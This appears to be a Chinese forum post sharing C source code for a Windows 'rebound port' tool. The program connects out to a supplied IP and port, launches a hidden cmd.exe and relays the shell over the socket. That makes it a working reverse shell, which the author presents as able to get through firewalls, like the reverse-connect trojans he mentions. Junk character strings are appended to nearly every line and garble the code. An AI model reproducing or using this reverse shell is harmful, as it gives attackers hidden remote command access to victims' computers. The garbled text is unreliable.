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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cO-^#di  
("=24R=a  
/* ============================== *P`k|-  
Rebound port in Windows NT SW HiiF@  
By wind,2006/7 *O-m:M!eA  
===============================*/ yzXS{#\  
#include fOk(ivYy  
#include |1T[P)Q  
0iz\<' p  
#pragma comment(lib,"wsock32.lib") !T}R=;)e h  
*4l6+#W  
void OutputShell(); e C&!yY2g  
SOCKET sClient; 0 Gq<APtr  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &*~_ "WyU  
^n\g,  
void main(int argc,char **argv) T3-/+4$0v  
{ 1NK,:m  
WSADATA stWsaData; 3:b5#c?R-  
int nRet; (]5gYi  
SOCKADDR_IN stSaiClient,stSaiServer; s]xn&rd_  
`>0(N.'T  
if(argc != 3) }IKU^0M9<T  
{ =':B  
printf("Useage:\n\rRebound DestIP DestPort\n"); F_V/&OV  
return; B<,AI7  
} Nxm '* -A  
h6D1uM"o   
WSAStartup(MAKEWORD(2,2),&stWsaData); X C '|  
<h`}I3Ao  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =z}M(<G  
Ul:M=8nE%  
stSaiClient.sin_family = AF_INET; &VVvZ@X;  
stSaiClient.sin_port = htons(0); [kI[qByf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); quFNPdP  
q]y{ 4"=5  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :/;;|lGw  
{ eW[](lGWM  
printf("Bind Socket Failed!\n"); )U{IQE;T#  
return; AQ,%5MeqJ  
} w X.]O!^X~  
`V?NS,@$  
stSaiServer.sin_family = AF_INET; &=lh Kt  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =8 DS~J{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Oq 95zo  
!Eb!y`jK  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ul\FZT 4  
{ @$?*UI6y  
printf("Connect Error!"); F4g3l    
return; ~JOC8dO  
} 0|(6q=QK  
OutputShell(); _No<fz8  
} 0Rh*SoYrC  
A&Cs (e  
void OutputShell() E |=]k  
{ @u8kNXT;h  
char szBuff[1024]; %v]-:5g'|  
SECURITY_ATTRIBUTES stSecurityAttributes; ' h|d-p\`9  
OSVERSIONINFO stOsversionInfo; +)7h)uq  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x|3G}[=  
STARTUPINFO stStartupInfo; ^]$rh.7&  
char *szShell; t;lK=m|  
PROCESS_INFORMATION stProcessInformation; 4n2*2 yTg  
unsigned long lBytesRead; 44UN*_qG  
g=S|lVQm  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); prVqV-S6TY  
J8DKia|h(  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); smuQ1.b  
stSecurityAttributes.lpSecurityDescriptor = 0; byJ[1UK  
stSecurityAttributes.bInheritHandle = TRUE; , L8(Vo`-  
Ewo6Q){X  
vH]2t.\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R78lV -};Q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QQUZneIDp  
2%j"E{J&  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h ?+vH{}j  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BNbz{tbX"  
stStartupInfo.wShowWindow = SW_HIDE; !]#;'  
stStartupInfo.hStdInput = hReadPipe; E1|:t$>Ld  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r5uX?^mJ0  
Q_|Lv&  
GetVersionEx(&stOsversionInfo); DcZ,a E]  
UFr5'T  
switch(stOsversionInfo.dwPlatformId) 3 n1 > +8  
{ }/F9(m  
case 1: ]#J-itO  
szShell = "command.com"; }yM!o`90  
break; nkz^^q`5l7  
default: S!7|vb*ko  
szShell = "cmd.exe"; \2)~dV:6+  
break; `w% Qs)2  
} FdMTc(>  
e:=+~F(f  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ks<+gL{K|i  
?/Z5%?6  
send(sClient,szMsg,77,0); (APGz,^9#  
while(1) R,W w/D  
{ 1zY" Uxp  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); q]m$%>  
if(lBytesRead) hu-6V="^9  
{ h) W|~y@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lf2(h4[1R  
send(sClient,szBuff,lBytesRead,0); h=ko_/<  
} ^1[u'DW4  
else 6 kAXE\T  
{ [u/Wh+  
lBytesRead=recv(sClient,szBuff,1024,0); fMRMQR=6B  
if(lBytesRead<=0) break; UjS,<>fm  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 93y!x}  
} lhJZPnx~  
} &y:SK)  
/??nO Vvt  
return; +rOd0?  
}
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